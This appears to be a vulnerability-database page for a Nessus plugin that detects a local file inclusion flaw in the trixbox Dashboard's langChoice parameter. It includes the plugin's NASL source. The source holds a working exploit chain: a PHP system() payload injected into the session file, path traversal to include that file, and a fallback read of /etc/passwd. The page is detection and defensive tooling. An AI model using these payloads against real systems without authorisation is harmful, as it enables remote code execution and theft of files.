trixbox Dashboard user/index.php langChoice Parameter Local File Inclusion - Nessus

High   Plugin ID: 33445

This page contains detailed information about the trixbox Dashboard user/index.php langChoice Parameter Local File Inclusion Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

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Plugin Overview

ID: 33445
Name: trixbox Dashboard user/index.php langChoice Parameter Local File Inclusion
Filename: trixbox_langchoice_file_include.nasl
Vulnerability Published: N/A
This Plugin Published: 2008-07-09
Last Modification Time: 2022-04-11
Plugin Version: 1.29
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: trixbox_web_detect.nbin
Required KB Items [?]: www/PHP, www/trixbox
Excluded KB Items: Settings/disable_cgi_scanning

Vulnerability Information

Severity: High
Vulnerability Published: N/A
Patch Published: N/A
CVE [?]: CVE-2008-6825
CPE [?]: cpe:/a:fonality:trixbox

Synopsis

The remote web server contains a PHP script that is susceptible to a local file include attack.

Description

The version of trixbox dashboard installed on the remote host fails to sanitize user-supplied input to the 'langChoice' parameter of the 'user/index.php' script before using it to include PHP code. Regardless of PHP's 'register_globals' setting, an unauthenticated attacker could leverage this issue to view arbitrary files or to execute arbitrary PHP code on the remote host, subject to the privileges of the web server user id.

Solution

Versions 2.6.1 and prior are reportedly affected by the issue referenced above. Consequently, refer to the vendor for patch and/or upgrade options.

Public Exploits

Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB)
Exploit Ease: No exploit is required

Here's the list of publicly known exploits and PoCs for verifying the trixbox Dashboard user/index.php langChoice Parameter Local File Inclusion vulnerability:

  1. Metasploit: exploit/unix/webapp/trixbox_langchoice
    [Trixbox langChoice PHP Local File Inclusion]
  2. Exploit-DB: exploits/linux/webapps/6026.pl
    [EDB-6026: Fonality trixbox - 'langChoice' Local File Inclusion (connect-back) (2)]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:C
CVSS Base Score:7.5 (High)
Impact Subscore:6.4
Exploitability Subscore:10.0
CVSS Temporal Score:6.2 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:6.2 (Medium)

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Plugin Source

This is the trixbox_langchoice_file_include.nasl nessus plugin source code. This script is Copyright (C) 2008-2022 and is owned by Tenable, Inc. or an Affiliate thereof. 

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(33445);
  script_version("1.29");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2008-6825");
  script_bugtraq_id(30135);
  script_xref(name:"EDB-ID", value:"6026");

  script_name(english:"trixbox Dashboard user/index.php langChoice Parameter Local File Inclusion");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is susceptible to a
local file include attack.");
  script_set_attribute(attribute:"description", value:
"The version of trixbox dashboard installed on the remote host fails to
sanitize user-supplied input to the 'langChoice' parameter of the
'user/index.php' script before using it to include PHP code.
Regardless of PHP's 'register_globals' setting, an unauthenticated
attacker could leverage this issue to view arbitrary files or to
execute arbitrary PHP code on the remote host, subject to the
privileges of the web server user id.");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2008/Jul/102");
  # http://web.archive.org/web/20090525044133/http://trixbox.org/devblog/security-vulnerability-2-6-1
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?9c891c97");
  script_set_attribute(attribute:"solution", value:
"Versions 2.6.1 and prior are reportedly affected by the issue
referenced above. Consequently, refer to the vendor for patch and/or
upgrade options.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Trixbox langChoice PHP Local File Inclusion');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_cwe_id(22);

  script_set_attribute(attribute:"plugin_publication_date", value:"2008/07/09");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:fonality:trixbox");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2008-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("trixbox_web_detect.nbin");
  script_require_keys("www/PHP", "www/trixbox");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

port = get_http_port(default:80, php:TRUE);
get_kb_item_or_exit("www/trixbox");

cmd = "id";
cmd_pat = "uid=[0-9]+.*gid=[0-9]+.*";
file = "/etc/passwd";
file_pat = "root:.*:0:[01]:";

# Loop through directories.
if (thorough_tests) dirs = list_uniq("/user", cgi_dirs());
else dirs = make_list(cgi_dirs());

foreach dir (dirs)
{
  # Determine if the script exists.
  url = dir + "/index.php";

  r = http_send_recv3(method: "GET", item:url, port:port, exit_on_fail:TRUE);

  # If it does...
  if (
    'form name="langForm"' >< r[2] &&
    'name="langChoice"' >< r[2]
  )
  {
    # Try to identify the default language.
    default_language = "";

    pat = 'option value="([^"]+)" selected="selected"';
    matches = egrep(pattern:pat, string:r[2]);
    if (matches)
    {
      foreach match (split(matches))
      {
        match = chomp(match);
        item = eregmatch(pattern:pat, string:match);
        if (!isnull(item))
        {
          default_language = item[1];
          break;
        }
      }
    }
    if (!default_language) default_language = "english";

    report = "";
    vuln = FALSE;

    # Try to exploit the issue to execute a command.
    #
    # - first, inject the PHP code into the session file.
    exploit = "<?php system('" + cmd + "'); ?>%00";
    postdata = "langChoice=" + exploit;

    r = http_send_recv3(method: "POST", item: url, data: postdata, port: port,
      content_type: "application/x-www-form-urlencoded", exit_on_fail:TRUE);

    # - next, figure out our session id.
    cookie = get_http_cookie(name: "PHPSESSID");
    # - now call the session file.
    if (!isnull(cookie))
    {
      exploit = "../../../../../../../../../../../../tmp/sess_" +cookie+ "%00";
      postdata2 = "langChoice=" + exploit;

      r = http_send_recv3(method: "POST", item: url, data: postdata2, port: port, content_type: "application/x-www-form-urlencoded", exit_on_fail:TRUE);

      if (egrep(pattern:cmd_pat, string:r[2]))
      {
        if (report_verbosity)
        {
          report =
            '\n' +
            'Nessus was able to execute the command "' +cmd+ '" on the remote \n'+
            'host using the following URL :\n' +
            '\n' +
            build_url(port:port, qs:url) + '\n'+
            '\n'+
            'first with the following POST data :\n'+
            '\n'+
            '  ' + str_replace(find:"&", replace:'\n  ', string:postdata) + '\n'+
            '\n'+
            'and then again with the following POST data :\n'+
            '\n'+
            '  ' + str_replace(find:"&", replace:'\n  ', string:postdata2) + '\n';
          if (report_verbosity > 1)
          {
            output = "";
            if ("trixbox_Language|s:" >< r[2])
            {
              output = strstr(r[2], "trixbox_Language|s:") - "trixbox_Language|s:";
              output = strstr(output, ':"') - ':"';
              output = output - strstr(output, '\x00');
            }
            if (!output || !egrep(pattern:cmd_pat, string:output)) output = r[2];
            output = data_protection::redact_etc_passwd(output:output);
            report =
              report+
              '\n'+
              'This produced the following output :\n'+
              '\n'+
              ' ' + output;
          }
        }
        vuln = TRUE;
      }
    }

    # If that failed, try to retrieve a local file.
    if (!vuln)
    {
      exploit = "../../../../../../../../../../../.." + file + "%00";
      postdata3 = "langChoice=" + exploit;

      r = http_send_recv3(method: "POST", item: url, data: postdata3, port: port, content_type: "application/x-www-form-urlencoded", exit_on_fail : TRUE);

      # There's a problem if...
      if (
        # there's an entry for root or...
        egrep(pattern:file_pat, string:r[2]) ||
        # we get an error because magic_quotes was enabled or...
        "(includes/language/" + file +"\\0" >< r[2] ||
        # we get an error claiming the file doesn't exist or...
        "(includes/language/" + file >< r[2] ||
        # we get an error about open_basedir restriction.
        "open_basedir restriction in effect. File(" + file >< r[2]
      )
      {
        if (report_verbosity && egrep(pattern:file_pat, string:r[2]))
        {
          output = "";
          if ("<!DOCTYPE" >< r[2]) output = r[2] - strstr(r[2], "<!DOCTYPE");
          if (!egrep(pattern:file_pat, string:output)) output = r[2];

          report =
            '\n' +
            'Here are the (repeated) contents of the file "' + file + '" that\n'+
            'Nessus was able to read from the remote host :\n'+
            '\n' +
            output;
        }
        vuln = TRUE;
      }
    }

    # Reset the language in the 'cache/sessionsFile.txt' in case it was changed.
    postdata4 = "langChoice=" + default_language;

    r = http_send_recv3(method: "POST", item: url, data: postdata4, port: port, content_type: "application/x-www-form-urlencoded", exit_on_fail:TRUE);

    # Issue a report if a problem was found.
    if (vuln)
    {
      if (report) security_hole(port:port, extra:report);
      else security_hole(port);
      exit(0);
    }
  }
}
if (!vuln)
  audit(AUDIT_WEB_APP_NOT_AFFECTED, "trixbox", build_url(qs:'/', port:port));

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/trixbox_langchoice_file_include.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\trixbox_langchoice_file_include.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/trixbox_langchoice_file_include.nasl

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How to Run

Here is how to run the trixbox Dashboard user/index.php langChoice Parameter Local File Inclusion as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select trixbox Dashboard user/index.php langChoice Parameter Local File Inclusion plugin ID 33445.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl trixbox_langchoice_file_include.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a trixbox_langchoice_file_include.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - trixbox_langchoice_file_include.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state trixbox_langchoice_file_include.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID: CWE | Common Weakness Enumeration:
  • CWE-22 (Weakness) Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
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Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file trixbox_langchoice_file_include.nasl version 1.29. For more plugins, visit the Nessus Plugin Library.

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